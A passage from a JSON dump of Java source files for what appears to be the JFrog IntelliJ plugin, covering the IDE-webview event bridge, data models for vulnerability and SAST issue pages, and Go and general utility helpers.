    "content": "package com.jfrog.ide.idea.ui.webview.event;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.ui.jcef.JBCefBrowser;\nimport com.intellij.ui.jcef.JBCefBrowserBase;\nimport com.intellij.ui.jcef.JBCefClient;\nimport com.intellij.ui.jcef.JBCefJSQuery;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.ui.webview.event.model.IdeEvent;\nimport com.jfrog.ide.idea.ui.webview.event.tasks.JumpToCodeTask;\nimport com.jfrog.ide.idea.ui.webview.model.Location;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.Objects;\n\nimport static com.jfrog.ide.common.utils.Utils.createMapper;\n\n/**\n * The Receiver class is responsible for handling events received from the webview in the IDE.\n * It sets up the necessary query handling and provides a mechanism to process the received events.\n */\npublic class Receiver {\n    private final JBCefJSQuery query;\n    JBCefBrowser jbBrowser;\n    Project project;\n\n    /**\n     * @param jbBrowser The JBCefBrowser associated with the webview.\n     * @param project   The Project associated with the IDE.\n     */\n    public Receiver(JBCefBrowser jbBrowser, @NotNull Project project) {\n        this.project = project;\n        this.jbBrowser = jbBrowser;\n        jbBrowser.getJBCefClient().setProperty(JBCefClient.Properties.JS_QUERY_POOL_SIZE, 5);\n        // Queries must be created before the webview is initialized.\n        query = JBCefJSQuery.create((JBCefBrowserBase) jbBrowser);\n        query.addHandler((raw) -> {\n            try {\n                this.handler(unpack(raw));\n            } catch (JsonProcessingException e) {\n                Logger.getInstance().error(e.getMessage());\n            }\n            return null;\n        });\n    }\n\n    /**\n     * Unpacks the raw JSON string into an IdeEvent object.\n     *\n     * @param raw The raw JSON string to unpack.\n     * @return The unpacked IdeEvent.\n     * @throws JsonProcessingException If an error occurs during JSON processing.\n     */\n    public static IdeEvent unpack(String raw) throws JsonProcessingException {\n        ObjectMapper ow = createMapper();\n        return ow.readValue(raw, IdeEvent.class);\n    }\n\n    /**\n     * Creates the body of the IDE send function with the specified function name.\n     *\n     * @param ideSendFunctionName The name of the IDE send function.\n     * @return The body of the IDE send function as a string.\n     */\n    public String createIdeSendFuncBody(String ideSendFunctionName) {\n        return \"window['\" + ideSendFunctionName + \"'] = obj => { let raw = JSON.stringify(obj);  \" + query.inject(\"raw\") + \";}\";\n    }\n\n    /**\n     * Handles the received IdeEvent.\n     *\n     * @param event The received IdeEvent to handle.\n     */\n    private void handler(IdeEvent event) {\n        if (Objects.requireNonNull(event.getType()) == IdeEvent.Type.JUMP_TO_CODE) {\n            new JumpToCodeTask(this.project).execute(createMapper().convertValue(event.getData(), Location.class));\n            Logger.getInstance().debug(\"Jump to \" + event.getType());\n        } else {\n            Logger.getInstance().debug(\"Received unknown event from the webview: \" + event.getType());\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/Sender.java",
    "content": "package com.jfrog.ide.idea.ui.webview.event;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent;\nimport org.cef.browser.CefBrowser;\n\nimport static com.jfrog.ide.common.utils.Utils.createMapper;\nimport static com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent.Type.SET_EMITTER;\n\n/**\n * The Sender class is responsible for sending events from the IDE to the webview.\n * It utilizes a CefBrowser instance to execute JavaScript code in the webview.\n */\npublic class Sender {\n    CefBrowser browser;\n\n    /**\n     * @param browser The CefBrowser instance associated with the webview.\n     */\n    public Sender(CefBrowser browser) {\n        this.browser = browser;\n    }\n\n    /**\n     * Packs the webview event into a JSON string representation.\n     *\n     * @param type The type of the webview event.\n     * @param data The data associated with the webview event.\n     * @return The JSON string representation of the packed webview event.\n     * @throws JsonProcessingException If an error occurs during JSON processing.\n     */\n    public static String pack(WebviewEvent.Type type, Object data) throws JsonProcessingException {\n        ObjectMapper ow = createMapper();\n        return ow.writeValueAsString(new WebviewEvent(type, data));\n    }\n\n    /**\n     * Sends the IDE send function to the webview. This function allows sending data back from the webview to the IDE.\n     *\n     * @param ideSendFuncName The name of the IDE send function.\n     * @param ideSendFuncBody The body of the IDE send function.\n     */\n    public void sendIdeSendFunc(String ideSendFuncName, String ideSendFuncBody) {\n        // Send the function to jcef, this must be first before updating the webview.\n        // Otherwise, the webview will not find any methods to use and will drop the request.\n        this.send(ideSendFuncBody);\n        // Update JFrog webview with the function to be used in order to send data back to the IDE.\n        this.sendEvent(SET_EMITTER, \"return \" + ideSendFuncName);\n    }\n\n    /**\n     * Sends a webview event with the specified type and data to the webview.\n     *\n     * @param type The type of the webview event.\n     * @param data The data associated with the webview event.\n     */\n    public void sendEvent(WebviewEvent.Type type, Object data) {\n        try {\n            String raw = pack(type, data);\n            Logger.getInstance().debug(\"Sending data to jfrog webview: \" + raw);\n            this.send(\"window.postMessage(\" + raw + \")\");\n        } catch (JsonProcessingException e) {\n            Logger.getInstance().error(e.getMessage());\n        }\n    }\n\n    /**\n     * Sends the specified event to the webview by executing the JavaScript code.\n     *\n     * @param event The JavaScript code to be executed in the webview.\n     */\n    public void send(String event) {\n        browser.executeJavaScript(event, \"\", 0);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/model/Event.java",
    "content": "package com.jfrog.ide.idea.ui.webview.event.model;\n\nimport java.io.Serializable;\n\n/**\n * The Event class is an abstract model designed to facilitate communication between the IDE and the Webview.\n * It serves as the base class for various event types that can be transmitted between these components.\n */\npublic abstract class Event implements Serializable {\n    private Object data;\n\n    public Event(Object data) {\n        this.data = data;\n    }\n\n    public Object getData() {\n        return data;\n    }\n\n    public void setData(Object data) {\n        this.data = data;\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/model/IdeEvent.java",
    "content": "package com.jfrog.ide.idea.ui.webview.event.model;\n\n/**\n * Represents an IDE-specific event that can be sent from the Webview to the IDE.\n */\npublic class IdeEvent extends Event {\n    private Type type;\n\n    public IdeEvent() {\n        super(null);\n    }\n\n    public Type getType() {\n        return type;\n    }\n\n    public void setType(Type type) {\n        this.type = type;\n    }\n\n    public enum Type {JUMP_TO_CODE, LOGIN, WEBVIEW_LOADED}\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/model/WebviewEvent.java",
    "content": "package com.jfrog.ide.idea.ui.webview.event.model;\n\n/**\n * Represents a Webview-specific event that can be sent from the IDE to the Webview.\n */\npublic class WebviewEvent extends Event {\n    private Type type;\n\n    @SuppressWarnings(\"unused\")\n    public WebviewEvent() {\n        super(null);\n    }\n\n    public WebviewEvent(Type type, Object data) {\n        super(data);\n        this.type = type;\n    }\n\n    public Type getType() {\n        return type;\n    }\n\n    public void setType(Type type) {\n        this.type = type;\n    }\n\n    public enum Type {SET_EMITTER, SHOW_PAGE}\n}\n\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/event/tasks/JumpToCodeTask.java",
    "content": "package com.jfrog.ide.idea.ui.webview.event.tasks;\n\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.idea.inspections.JumpToCode;\nimport com.jfrog.ide.idea.ui.webview.model.Location;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * Represents a task that performs the \"Jump to Code\" action in the IDE.\n * This task is responsible for executing the jump to code operation based on the provided project and location.\n */\npublic class JumpToCodeTask {\n    JumpToCode jumpToCode;\n\n    public JumpToCodeTask(@NotNull Project project) {\n        jumpToCode = JumpToCode.getInstance(project);\n    }\n\n    public void execute(Location location) {\n        this.jumpToCode.execute(location.getFile(), location.getStartRow() - 1, location.getEndRow() - 1, location.getStartColumn() - 1, location.getEndColumn() - 1);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/ApplicableDetails.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class ApplicableDetails {\n    private final boolean isApplicable;\n    private final Evidence[] evidence;\n    private final String searchTarget;\n\n    public ApplicableDetails(boolean isApplicable, Evidence[] evidence, String searchTarget) {\n        this.isApplicable = isApplicable;\n        this.evidence = evidence;\n        this.searchTarget = searchTarget;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public boolean getIsApplicable() {\n        return isApplicable;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public Evidence[] getEvidence() {\n        return evidence;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getSearchTarget() {\n        return searchTarget;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/Cve.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class Cve {\n    private final String id;\n    private final String cvssV2Score;\n    private final String cvssV2Vector;\n    private final String cvssV3Score;\n    private final String cvssV3Vector;\n    private final ApplicableDetails applicableData;\n\n    public Cve(String id, String cvssV2Score, String cvssV2Vector, String cvssV3Score, String cvssV3Vector, ApplicableDetails applicableData) {\n        this.id = id;\n        this.cvssV2Score = cvssV2Score;\n        this.cvssV2Vector = cvssV2Vector;\n        this.cvssV3Score = cvssV3Score;\n        this.cvssV3Vector = cvssV3Vector;\n        this.applicableData = applicableData;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getId() {\n        return id;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getCvssV2Vector() {\n        return cvssV2Vector;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getCvssV2Score() {\n        return cvssV2Score;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getCvssV3Score() {\n        return cvssV3Score;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getCvssV3Vector() {\n        return cvssV3Vector;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public ApplicableDetails getApplicableData() {\n        return applicableData;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/DependencyPage.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class DependencyPage {\n    private String id;\n    private String component;\n    private String componentType;\n    private String pageType = \"DEPENDENCY\";\n    private String version;\n    private String severity;\n    private License[] license;\n    private String summary;\n    private String[] fixedVersion;\n    private String[] infectedVersion;\n    private Reference[] references;\n    private Cve cve;\n    private ImpactGraph impactGraph;\n    private String[] watchName;\n    private String edited;\n    private ExtendedInformation extendedInformation;\n\n    public DependencyPage() {\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getId() {\n        return id;\n    }\n\n    public DependencyPage id(String id) {\n        this.id = id;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getComponent() {\n        return component;\n    }\n\n    public DependencyPage component(String component) {\n        this.component = component;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getPageType() {\n        return pageType;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getComponentType() {\n        return componentType;\n    }\n\n    public DependencyPage componentType(String componentType) {\n        this.componentType = componentType;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getVersion() {\n        return version;\n    }\n\n    public DependencyPage version(String version) {\n        this.version = version;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getSeverity() {\n        return severity;\n    }\n\n    public DependencyPage severity(String severity) {\n        this.severity = severity;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public License[] getLicense() {\n        return license;\n    }\n\n    public DependencyPage license(License[] license) {\n        this.license = license;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getSummary() {\n        return summary;\n    }\n\n    public DependencyPage summary(String summary) {\n        this.summary = summary;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String[] getFixedVersion() {\n        return fixedVersion;\n    }\n\n    public DependencyPage fixedVersion(String[] fixedVersion) {\n        this.fixedVersion = fixedVersion;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String[] getInfectedVersion() {\n        return infectedVersion;\n    }\n\n    public DependencyPage infectedVersion(String[] infectedVersion) {\n        this.infectedVersion = infectedVersion;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public Reference[] getReferences() {\n        return references;\n    }\n\n    public DependencyPage references(Reference[] references) {\n        this.references = references;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public Cve getCve() {\n        return cve;\n    }\n\n    public DependencyPage cve(Cve cve) {\n        this.cve = cve;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public ImpactGraph getImpactGraph() {\n        return impactGraph;\n    }\n\n    public DependencyPage impactGraph(ImpactGraph impactGraph) {\n        this.impactGraph = impactGraph;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String[] getWatchName() {\n        return watchName;\n    }\n\n    public DependencyPage watchName(String[] watchName) {\n        this.watchName = watchName;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getEdited() {\n        return edited;\n    }\n\n    public DependencyPage edited(String edited) {\n        this.edited = edited;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public ExtendedInformation getExtendedInformation() {\n        return extendedInformation;\n    }\n\n    public DependencyPage extendedInformation(ExtendedInformation extendedInformation) {\n        this.extendedInformation = extendedInformation;\n        return this;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/Evidence.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class Evidence {\n    private final String reason;\n    private final String filePathEvidence;\n    private final String codeEvidence;\n\n    public Evidence(String reason, String filePathEvidence, String codeEvidence) {\n        this.reason = reason;\n        this.filePathEvidence = filePathEvidence;\n        this.codeEvidence = codeEvidence;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getReason() {\n        return reason;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getFilePathEvidence() {\n        return filePathEvidence;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getCodeEvidence() {\n        return codeEvidence;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/ExtendedInformation.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class ExtendedInformation {\n    private final String shortDescription;\n    private final String fullDescription;\n    private final String jfrogResearchSeverity;\n    private final String remediation;\n    private final JfrogResearchSeverityReason[] jfrogResearchSeverityReason;\n    \n    public ExtendedInformation(String shortDescription, String fullDescription, String jfrogResearchSeverity, String remediation, JfrogResearchSeverityReason[] jfrogResearchSeverityReason) {\n        this.shortDescription = shortDescription;\n        this.fullDescription = fullDescription;\n        this.jfrogResearchSeverity = jfrogResearchSeverity;\n        this.remediation = remediation;\n        this.jfrogResearchSeverityReason = jfrogResearchSeverityReason;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getShortDescription() {\n        return shortDescription;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getFullDescription() {\n        return fullDescription;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getJfrogResearchSeverity() {\n        return jfrogResearchSeverity;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getRemediation() {\n        return remediation;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public JfrogResearchSeverityReason[] getJfrogResearchSeverityReason() {\n        return jfrogResearchSeverityReason;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/Finding.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class Finding {\n    private final String does;\n    private final String happen;\n    private final String meaning;\n    private final String snippet;\n\n    public Finding(String happen, String meaning, String snippet, String does) {\n        this.happen = happen;\n        this.meaning = meaning;\n        this.snippet = snippet;\n        this.does = does;\n    }\n\n    public Finding(Finding other) {\n        this(other.happen, other.meaning, other.snippet, other.does);\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getHappen() {\n        return happen;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getMeaning() {\n        return meaning;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getSnippet() {\n        return snippet;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getDoes() {\n        return does;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/ImpactGraph.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class ImpactGraph {\n    private final ImpactGraphNode root;\n    private final int pathsLimit;\n\n    public ImpactGraph(ImpactGraphNode root, int pathsLimit) {\n        this.root = root;\n        this.pathsLimit = pathsLimit;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public ImpactGraphNode getRoot() {\n        return root;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public int getPathsLimit() {\n        return pathsLimit;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/ImpactGraphNode.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class ImpactGraphNode {\n    private final String name;\n    private final ImpactGraphNode[] children;\n\n    public ImpactGraphNode(String name, ImpactGraphNode[] children) {\n        this.name = name;\n        this.children = children;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getName() {\n        return name;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public ImpactGraphNode[] getChildren() {\n        return children;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/IssuePage.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class IssuePage {\n    private String pageType;\n    private String header;\n    private String severity;\n    private String abbreviation;\n    private Location location;\n    private String description;\n    private Finding finding;\n\n    public IssuePage() {\n    }\n\n    public IssuePage(IssuePage other) {\n        if (other == null) {\n            return;\n        }\n        this.pageType = other.pageType;\n        this.header = other.header;\n        this.severity = other.severity;\n        this.abbreviation = other.abbreviation;\n        this.location = other.location != null ? new Location(other.location) : null;\n        this.description = other.description;\n        this.finding = other.finding != null ? new Finding(other.finding) : null;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getHeader() {\n        return header;\n    }\n\n    public IssuePage header(String header) {\n        this.header = header;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getAbbreviation() {\n        return abbreviation;\n    }\n\n    public IssuePage abbreviation(String abbreviation) {\n        this.abbreviation = abbreviation;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getPageType() {\n        return pageType;\n    }\n\n    public IssuePage type(String type) {\n        this.pageType = type;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getDescription() {\n        return description;\n    }\n\n    public IssuePage description(String description) {\n        this.description = description;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public Location getLocation() {\n        return location;\n    }\n\n    public IssuePage location(Location location) {\n        this.location = location;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getSeverity() {\n        return severity;\n    }\n\n    public IssuePage severity(String severity) {\n        this.severity = severity;\n        return this;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public Finding getFinding() {\n        return finding;\n    }\n\n    public IssuePage finding(Finding finding) {\n        this.finding = finding;\n        return this;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/JfrogResearchSeverityReason.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class JfrogResearchSeverityReason {\n    private final String name;\n    private final String description;\n    private final boolean isPositive;\n    \n    public JfrogResearchSeverityReason(String name, String description, boolean isPositive) {\n        this.name = name;\n        this.description = description;\n        this.isPositive = isPositive;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getName() {\n        return name;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getDescription() {\n        return description;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public boolean getIsPositive() {\n        return isPositive;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/License.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class License {\n    private final String name;\n    private final String link;\n\n    public License(String name, String link) {\n        this.name = name;\n        this.link = link;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getName() {\n        return name;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getLink() {\n        return link;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/Location.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\nimport java.io.Serializable;\n\npublic class Location implements Serializable {\n    private String file;\n    private String fileName;\n    private String snippet;\n    private int startRow;\n    private int startColumn;\n    private int endRow;\n    private int endColumn;\n\n    public Location() {\n        this.file = \"\";\n        this.fileName = \"\";\n        this.snippet = \"\";\n        this.startRow = 0;\n        this.startColumn = 0;\n        this.endRow = 0;\n        this.endColumn = 0;\n    }\n\n    public Location(String file, String fileName, int startRow, int startColumn, int endRow, int endColumn, String snippet) {\n        this.file = file;\n        this.fileName = fileName;\n        this.snippet = snippet;\n        this.startRow = startRow;\n        this.startColumn = startColumn;\n        this.endRow = endRow;\n        this.endColumn = endColumn;\n    }\n\n    public Location(Location other) {\n        this(other.file, other.fileName, other.startRow, other.startColumn, other.endRow, other.endColumn, other.snippet);\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getFile() {\n        return file;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getFileName() {\n        return fileName;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getSnippet() {\n        return snippet;\n    }\n\n    public int getStartRow() {\n        return startRow;\n    }\n\n    public int getStartColumn() {\n        return startColumn;\n    }\n\n    public int getEndRow() {\n        return endRow;\n    }\n\n    public int getEndColumn() {\n        return endColumn;\n    }\n\n    public void setSnippet(String snippet) {\n        this.snippet = snippet;\n    }\n\n    public void setFile(String file) {\n        this.file = file;\n    }\n\n    public void setFileName(String fileName) {\n        this.fileName = fileName;\n    }\n\n    public void setStartRow(int startRow) {\n        this.startRow = startRow;\n    }\n\n    public void setStartColumn(int startColumn) {\n        this.startColumn = startColumn;\n    }\n\n    public void setEndRow(int endRow) {\n        this.endRow = endRow;\n    }\n\n    public void setEndColumn(int endColumn) {\n        this.endColumn = endColumn;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/Reference.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\npublic class Reference {\n    private final String url;\n    private final String text;\n\n    public Reference(String url, String text) {\n        this.url = url;\n        this.text = text;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getUrl() {\n        return url;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public String getText() {\n        return text;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/webview/model/SastIssuePage.java",
    "content": "package com.jfrog.ide.idea.ui.webview.model;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\n\n@Getter\npublic class SastIssuePage extends IssuePage {\n    @JsonProperty(\"analysisStep\")\n    private Location[] analysisSteps;\n    private String ruleId;\n\n    @SuppressWarnings(\"unused\")\n    public SastIssuePage() {\n    }\n\n    public SastIssuePage(IssuePage issuePage) {\n        super(issuePage);\n    }\n\n    public SastIssuePage setAnalysisSteps(Location[] analysisSteps) {\n        this.analysisSteps = analysisSteps;\n        return this;\n    }\n\n    public SastIssuePage setRuleID(String ruleID) {\n        this.ruleId = ruleID;\n        return this;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/utils/Descriptor.java",
    "content": "package com.jfrog.ide.idea.utils;\n\nimport org.apache.commons.lang3.StringUtils;\n\n/**\n * Represents all supported file descriptor types.\n */\npublic enum Descriptor {\n    MAVEN(\"pom.xml\"), GRADLE_KOTLIN(\"build.gradle.kts\"), GRADLE_GROOVY(\"build.gradle\"), NPM(\"package.json\"), GO(\"go.mod\");\n\n    private final String fileName;\n\n    Descriptor(String fileName) {\n        this.fileName = fileName;\n    }\n\n    public static Descriptor fromFileName(String fileName) {\n        for (Descriptor descriptor : Descriptor.values()) {\n            if (StringUtils.equals(descriptor.getFileName(), fileName)) {\n                return descriptor;\n            }\n        }\n        return null;\n    }\n\n    public String getFileName() {\n        return fileName;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/utils/GoUtils.java",
    "content": "package com.jfrog.ide.idea.utils;\n\nimport com.goide.GoConstants;\nimport com.goide.sdk.GoSdkUtil;\nimport com.goide.vgo.configuration.VgoProjectSettings;\nimport com.google.common.collect.Lists;\nimport com.intellij.openapi.project.Project;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.io.File;\nimport java.nio.file.Paths;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @author yahavi\n **/\npublic class GoUtils {\n\n    private static final List<String> GO_RELEVANT_ENV = Lists.newArrayList(\"GOPROXY\", \"GONOPROXY\", \"GOPRIVATE\", \"GOSUMDB\");\n\n    /**\n     * Retrieve and set \"GO_PATH\", \"GOPROXY\", \"GOPRIVATE\", \"GONOPROXY\", \"GOSUMDB\" from the Go plugin configuration.\n     * Extract and return the Go executable path.\n     *\n     * @param env     - The environment variables map\n     * @param project - Intellij project\n     * @return Go executable path or null.\n     * @throws NoClassDefFoundError if the Go plugin is not installed.\n     */\n    public static String getGoExeAndSetEnv(Map<String, String> env, Project project) throws NoClassDefFoundError {\n        String goPath = GoSdkUtil.retrieveGoPath(project, null);\n        if (StringUtils.isNotBlank(goPath)) {\n            env.put(GoConstants.GO_PATH, goPath);\n        }\n        Map<String, String> currentConfiguration = VgoProjectSettings.getInstance(project).getEnvironment();\n        GO_RELEVANT_ENV.forEach(envKey -> {\n            String envValue = currentConfiguration.get(envKey);\n            if (StringUtils.isNotBlank(envValue)) {\n                env.put(envKey, envValue);\n            }\n        });\n        String goExecutablePath = GoSdkUtil.retrieveEnvironmentPathForGo(project, null);\n        if (StringUtils.isNotBlank(goExecutablePath)) {\n            // The returned value may contain more than one path, seperated by ':' or ';'\n            goExecutablePath = StringUtils.substringBefore(goExecutablePath, File.pathSeparator);\n            return Paths.get(goExecutablePath, \"go\").toString();\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/utils/Utils.java",
    "content": "package com.jfrog.ide.idea.utils;\n\nimport com.intellij.ide.plugins.IdeaPluginDescriptor;\nimport com.intellij.ide.plugins.PluginManagerCore;\nimport com.intellij.openapi.extensions.PluginId;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.wm.ToolWindow;\nimport com.intellij.openapi.wm.ToolWindowManager;\nimport com.jfrog.ide.common.utils.usage.EcosystemUsageReporter;\nimport com.jfrog.ide.common.utils.usage.UsageReport;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.configuration.ServerConfigImpl;\nimport com.jfrog.ide.idea.log.Logger;\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.ObjectUtils;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.GeneralInfo;\nimport org.jfrog.build.extractor.usageReport.ClientIdUsageReporter;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.nio.file.*;\nimport java.nio.file.attribute.BasicFileAttributes;\nimport java.security.KeyManagementException;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Collections;\n\nimport static com.jfrog.ide.common.utils.Utils.createSSLContext;\nimport static com.jfrog.ide.common.utils.Utils.resolveArtifactoryUrl;\n\n/**\n * Created by romang on 5/8/17.\n */\npublic class Utils {\n\n    public static final Path HOME_PATH = Paths.get(System.getProperty(\"user.home\"), \".jfrog-idea-plugin\");\n    public static final String PRODUCT_ID = \"jfrog-idea-plugin\";\n    public static final String PLUGIN_ID = \"org.jfrog.idea\";\n\n    public static Path getProjectBasePath(Project project) {\n        return project.getBasePath() != null ? Paths.get(project.getBasePath()) : Paths.get(\".\");\n    }\n\n    public static boolean areRootNodesEqual(DependencyTree lhs, DependencyTree rhs) {\n        GeneralInfo lhsGeneralInfo = lhs.getGeneralInfo();\n        GeneralInfo rhsGeneralInfo = rhs.getGeneralInfo();\n        return ObjectUtils.allNotNull(lhsGeneralInfo, rhsGeneralInfo) &&\n                StringUtils.equals(lhsGeneralInfo.getPath(), rhsGeneralInfo.getPath()) &&\n                StringUtils.equals(lhsGeneralInfo.getPkgType(), rhsGeneralInfo.getPkgType());\n    }\n\n    public static void focusJFrogToolWindow(Project project) {\n        ToolWindow toolWindow = ToolWindowManager.getInstance(project).getToolWindow(\"JFrog\");\n        if (toolWindow != null) {\n            toolWindow.activate(null);\n        }\n    }\n\n    public static void sendUsageReport(String techName) {\n        ServerConfigImpl serverConfig = GlobalSettings.getInstance().getServerConfig();\n        Logger log = Logger.getInstance();\n        if (!serverConfig.isArtifactoryConfigured()) {\n            log.debug(\"Usage report can't be sent. Artifactory is not configured.\");\n            return;\n        }\n        String[] featureIdArray = new String[]{techName};\n        IdeaPluginDescriptor jfrogPlugin = PluginManagerCore.getPlugin(PluginId.getId(PLUGIN_ID));\n        if (jfrogPlugin == null) {\n            // In case we can't find the plugin version, do not send usage report.\n            log.debug(\"Usage report can't be sent. Unknown plugin version.\");\n            return;\n        }\n        String pluginVersion = jfrogPlugin.getVersion();\n        ClientIdUsageReporter artifactoryUsageReporter = new ClientIdUsageReporter(PRODUCT_ID + \"/\" + pluginVersion, featureIdArray, log);\n        EcosystemUsageReporter ecosystemUsageReporter = new EcosystemUsageReporter(log);\n        String artifactoryUrl = 